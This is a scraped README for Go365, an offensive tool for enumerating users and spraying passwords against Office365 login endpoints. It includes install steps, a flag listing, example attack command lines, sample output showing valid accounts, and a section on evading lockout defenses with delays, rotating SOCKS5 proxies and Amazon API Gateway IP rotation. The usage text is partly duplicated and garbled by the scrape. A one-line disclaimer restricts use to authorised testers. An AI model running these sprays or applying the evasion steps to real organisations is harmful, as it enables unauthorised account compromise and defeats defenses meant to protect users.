O365 is a tool designed to perform user enumeration* and password guessing attacks on organizations that use Office365

Go365 v1.4

Please read all of this README before using Go365!

Go365 is a tool designed to perform user enumeration* and password guessing attacks on organizations that use Office365 (now/soon Microsoft365). Go365 uses a unique SOAP API endpoint on login.microsoftonline.com that most other tools do not use. When queried with an email address and password, the endpoint responds with an Azure AD Authentication and Authorization code. This code is then processed by Go365 and the result is printed to screen or an output file.

* User enumeration is performed in conjunction with a password guess attempt. Thus, there is no specific flag or funtionality to perform only user enumeration. Instead, conduct your first password guessing attack, then parse the results for valid users.

Read these three bullets!
  • This tool might not work on all domains that utilize o365. Tests show that it works with most federated domains. Some domains will only report valid users even if a valid password is also provided. Your results may vary!
  • The domains this tool was tested on showed that it did not actually lock out accounts after multiple password failures. Your results may vary!
  • This tool is intended to be used by security professionals that are authorized to "attack" the target organization's o365 instance.

Obtaining

Option 0

go get -u github.com/optiv/Go365

Option 1

Download a pre-compiled binary for your OS HERE.

Option 2

Download the source and compile locally.

  1. Install Go.
  2. Go get some packages:
go get github.com/beevik/etree
go get github.com/fatih/color
go get golang.org/x/net/proxy
  1. Clone the repo.
  2. Navigate to the repo and compile ya dingus.
go build Go365.go
  1. Run the resulting binary and enjoy :)

Usage

Username list to use (overrides -u) : File should contain one username per line : Usernames can have "@domain.com" : If no domain is specified, the -d domain is used : (-ul ./usernamelist.txt) -p Password to attempt : Enclose in single quotes if it contains special characters : (-p password123) or (-p 'p@s$w0|2d') -pl Password list to use (overrides -p) : File should contain one password per line : -delay flag can be used to include a pause between each set of attempts : (-pl ./passwordlist.txt) -up Userpass list to use (overrides all the above options) : One username and password separated by a ":" per line : Be careful of duplicate usernames! : (-up ./userpasslist.txt) Required/Optional - Domain: -d Domain to test : Use this if the username or username list does not include "@targetcompany.com" : (-d targetcompany.com) Optional: -w Time to wait between attempts in seconds. : Default: 1 second. 5 seconds recommended. : (-w 10) -delay Delay (in seconds) between sprays when using a password list. : Default: 60 minutes (3600 seconds) recommended. : (-delay 7200) -o Output file to write to : Will append if file exists, otherwise a file is created : (-o ./Go365output.out) -proxy Single proxy server to use : IP address and Port separated by a ":" : Has only been tested using SSH SOCKS5 proxies : (-proxy 127.0.0.1:1080) -proxyfile A file with a list of proxy servers to use : IP address and Port separated by a ":" on each line : Randomly selects a proxy server to use before each request : Has only been tested using SSH SOCKS5 proxies : (-proxyfile ./proxyfile.txt) -url Endpoint to send requests to : Amazon API Gateway 'Invoke URL' : Highly recommended that you use this option. : (-url https://kg98agrae3.execute-api.us-east-2.amazonaws.com/login) -debug Debug mode. : Print xml response ">
$ ./Go365 -h
  ██████         ██████   ██████  ██████
 ██                   ██ ██       ██
 ██  ███   ████   █████  ███████  ██████
 ██    ██ ██  ██      ██ ██    ██      ██
  ██████   ████  ██████   ██████  ██████
 Version: 1.4
 Authors: h0useh3ad, paveway3, S4R1N, EatonChips
Usage:
  -h                            Shows this stuff
  Required - Endpoint:
    -endpoint [rst or graph]    Specify which endpoint to use
                                : (-endpoint rst)   login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
                                : (-endpoint graph)  login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response
  Required - Usernames and Passwords:
    -u 
             
                               Single username to test
                                : Username with or without "@domain.com"
                                : Must also provide -d flag to specify the domain
                                : (-u legit.user)
    -ul 
              
                                 Username list to use (overrides -u)
                                : File should contain one username per line
                                : Usernames can have "@domain.com"
                                : If no domain is specified, the -d domain is used
                                : (-ul ./usernamelist.txt)
    -p 
               
                                 Password to attempt
                                : Enclose in single quotes if it contains special characters
                                : (-p password123)  or  (-p 'p@s$w0|2d')
    -pl 
                
                                   Password list to use (overrides -p)
                                : File should contain one password per line
                                : -delay flag can be used to include a pause between each set of attempts
                                : (-pl ./passwordlist.txt)
    -up 
                 
                   Userpass list to use (overrides all the above options) : One username and password separated by a ":" per line : Be careful of duplicate usernames! : (-up ./userpasslist.txt) Required/Optional - Domain: -d 
                  
                    Domain to test : Use this if the username or username list does not include "@targetcompany.com" : (-d targetcompany.com) Optional: -w 
                   
                     Time to wait between attempts in seconds. : Default: 1 second. 5 seconds recommended. : (-w 10) -delay 
                    
                      Delay (in seconds) between sprays when using a password list. : Default: 60 minutes (3600 seconds) recommended. : (-delay 7200) -o 
                     
                       Output file to write to : Will append if file exists, otherwise a file is created : (-o ./Go365output.out) -proxy 
                      
                        Single proxy server to use : IP address and Port separated by a ":" : Has only been tested using SSH SOCKS5 proxies : (-proxy 127.0.0.1:1080) -proxyfile 
                       
                         A file with a list of proxy servers to use : IP address and Port separated by a ":" on each line : Randomly selects a proxy server to use before each request : Has only been tested using SSH SOCKS5 proxies : (-proxyfile ./proxyfile.txt) -url 
                        
                          Endpoint to send requests to : Amazon API Gateway 'Invoke URL' : Highly recommended that you use this option. : (-url https://kg98agrae3.execute-api.us-east-2.amazonaws.com/login) -debug Debug mode. : Print xml response 
                        
                       
                      
                     
                    
                   
                  
                 
                
               
              
             

Examples

./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login 

Account Locked Out! (Domain Defenses)

protip: You probably aren't actually locking out accounts.

After a number of queries against a target domain, results might start reporting that accounts are locked out.

Once this defense is triggered, user enumeration becomes unreliable since requests for valid and invalid users will randomly report that their accounts have been locked out.

...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...

This is a defensive mechanism triggered by the number of valid user queries against the target domain within a certain period of time. The number of attempts and the period of time will vary depending on the target domain since the thresholds can be customized by the target organization.

Countering Defenses

Wait time

The defensive mechanism is time and IP address based. Go365 provides options to include a wait time between requests and proxy options to distribute the source of the requests. To circumvent the defensive mechanisms on your target domain, use a long wait time and multiple proxy servers.

A wait time of AT LEAST 15 seconds is recommended. -w 15

SOCKS5 Proxies

If you still get "account locked out" responses, start proxying your requests. Proxy options have only been tested on SSH SOCKS5 dynamic proxies (ssh -D user@proxyserver )

Create a bunch of SOCKS5 proxies on DO or AWS or Vultr or whatever and make a file that looks like this:

127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...

The tool will randomly iterate through the provided proxy servers and wait for the specified amount of time between requests.

-w 15 -proxyfile ./proxies.txt

Amazon API Gateway

Additionally, an endpoint url may be specified so this tool can interface with Amazon API Gateway. Setup a gateway to point to the https://login.microsoftonline.com/rst2.srf endpoint, then set the -url parameter to the provided Invoke URL. Your IP should be rotated with each request.

-url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

Owner
Trewis [work] Scotch
| Multi-Language Developer | Coder | Phishing DEVELOPER tools |
Trewis [work] Scotch
Similar Resources

A lockout aware password sprayer for golang

Crimson-Spray Crimson-Spray is a lockout aware password sprayer for active direc

Apr 11, 2022

Passwordstrength - Returns the strength of the password

passwordstrength service returns the strength of the password. Developer Setup A

Dec 30, 2021

GO2P is a P2P framework, designed with flexibility and simplicity in mind

GO2P is a P2P framework, designed with flexibility and simplicity in mind

go2p golang p2p framework By v-braun - viktor-braun.de. Description GO2P is a P2P framework, designed with flexibility and simplicity in mind. You can

Jan 5, 2023

httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads.

httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads.

Features • Installation • Usage • Running httpx • Notes • Join Discord httpx is a fast and multi-purpose HTTP toolkit allow to run multiple probers us

Jan 8, 2023

Echo-server - An HTTP echo server designed for testing applications and proxies

echo-server An HTTP echo server designed for testing applications and proxies. R

Dec 20, 2022

Simple HTTP/HTTPS proxy - designed to be distributed as a self-contained binary that can be dropped in anywhere and run.

Simple Proxy This is a simple HTTP/HTTPS proxy - designed to be distributed as a self-contained binary that can be dropped in anywhere and run. Code b

Jan 7, 2023

A vote botting wrapper for GoLang designed for Minecraft: Pocket Servers.

libvote A vote botting wrapper for GoLang designed for Minecraft: Pocket Servers by Jviguy and JustTal. Disclaimer Usage of libvote requires your own

Apr 17, 2022

Sabakan is a versatile network boot server designed for large on-premise data centers.

Sabakan is a versatile network boot server designed for large on-premise data centers.

Sabakan is a versatile network boot server designed for large on-premise data centers. Currently, it is made only for Flatcar Container Linux.

Jan 2, 2023

Designed to support DNS brute-forcing with a minimal number of network connections

Fast Use of DNS Resolvers Designed to support DNS brute-forcing with a minimal number of network connections. Installation go get -v -u github.com/caf

Dec 8, 2022
Related tags
Information Gathering tool - DNS / Subdomains / Ports / Directories enumeration
Information Gathering tool - DNS / Subdomains / Ports / Directories enumeration

Information Gathering tool - DNS / Subdomains / Ports / Directories enumeration

Jan 3, 2023
Argus is a subdomain enumeration tool

Argus Argus is a domain enumeration tool. Usage : LINUX : ./argus Windows : double click the executable or .\argus When you enter the domain name , pl

Apr 28, 2022
A tool for IDN homograph attacks and detection.

Ditto is a small tool that accepts a domain name as input and generates all its variants for an homograph attack as output, checking which ones are av

Dec 26, 2022
The Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM attacks.
The Swiss Army knife for 802.11, BLE and Ethernet networks reconnaissance and MITM attacks.

bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse e

Jan 3, 2023
Log4Shell is a middleware plugin for Traefik which blocks JNDI attacks based on HTTP header values.

Log4Shell Mitigation Log4Shell is a middleware plugin for Traefik which blocks JNDI attacks based on HTTP header values. Related to the Log4J CVE: htt

Dec 20, 2022
App with CRUD for user, with palindrome checker for user's first and last name

Run db container first, so that app does not connect to db while db has not started yet docker-compose up -d db docker-compose up -d app CRUD endpoint

Dec 9, 2021
Server and client implementation of the grpc go libraries to perform unary, client streaming, server streaming and full duplex RPCs from gRPC go introduction

Description This is an implementation of a gRPC client and server that provides route guidance from gRPC Basics: Go tutorial. It demonstrates how to u

Nov 24, 2021
Use Consul to do service discovery, use gRPC +kafka to do message produce and consume. Use redis to store result.
Use  Consul to do service discovery, use gRPC +kafka to do message produce and consume. Use redis to store result.

目录 gRPC/consul/kafka简介 gRPC+kafka的Demo gRPC+kafka整体示意图 限流器 基于redis计数器生成唯一ID kafka生产消费 kafka生产消费示意图 本文kafka生产消费过程 基于pprof的性能分析Demo 使用pprof统计CPU/HEAP数据的

Jul 9, 2022
Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing.
Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing.

Fast passive subdomain enumeration tool. Features • Install • Usage • API Setup • License • Join Discord Subfinder is a subdomain discovery tool that

Jan 4, 2023
TFTP and HTTP server specifically designed to serve iPXE ROMs and scripts.
TFTP and HTTP server specifically designed to serve iPXE ROMs and scripts.

pixie TFTP and HTTP server specifically designed to serve iPXE ROMs and scripts. pixie comes embedded with the following ROMs provided by the iPXE pro

Dec 31, 2022